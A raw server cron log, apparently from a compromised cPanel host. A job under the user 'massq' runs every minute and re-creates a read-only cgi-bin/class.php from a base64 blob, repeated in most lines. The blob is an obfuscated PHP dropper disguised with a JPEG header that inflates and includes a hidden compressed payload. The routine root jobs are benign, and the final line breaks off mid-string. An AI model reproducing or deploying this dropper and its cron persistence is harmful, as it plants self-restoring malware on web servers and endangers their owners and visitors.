Apr 13 00:08:01 server CROND[32080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:09:01 server CROND[32149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:09:01 server CROND[32150]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 13 00:10:01 server CROND[32300]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 13 00:10:01 server CROND[32301]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 00:10:01 server CROND[32302]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 00:10:01 server CROND[32303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:11:01 server CROND[32421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:12:01 server CROND[32601]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 13 00:12:01 server CROND[32602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:13:01 server CROND[32763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:14:01 server CROND[428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:15:01 server CROND[495]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 13 00:15:01 server CROND[496]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 00:15:01 server CROND[497]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 00:15:01 server CROND[498]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr 13 00:15:01 server CROND[503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:16:01 server CROND[642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:17:01 server CROND[705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:18:01 server CROND[760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:19:01 server CROND[819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:20:01 server CROND[987]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 00:20:01 server CROND[992]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 13 00:20:01 server CROND[991]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 00:20:01 server CROND[993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:20:01 server CROND[996]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 13 00:21:01 server CROND[1111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzK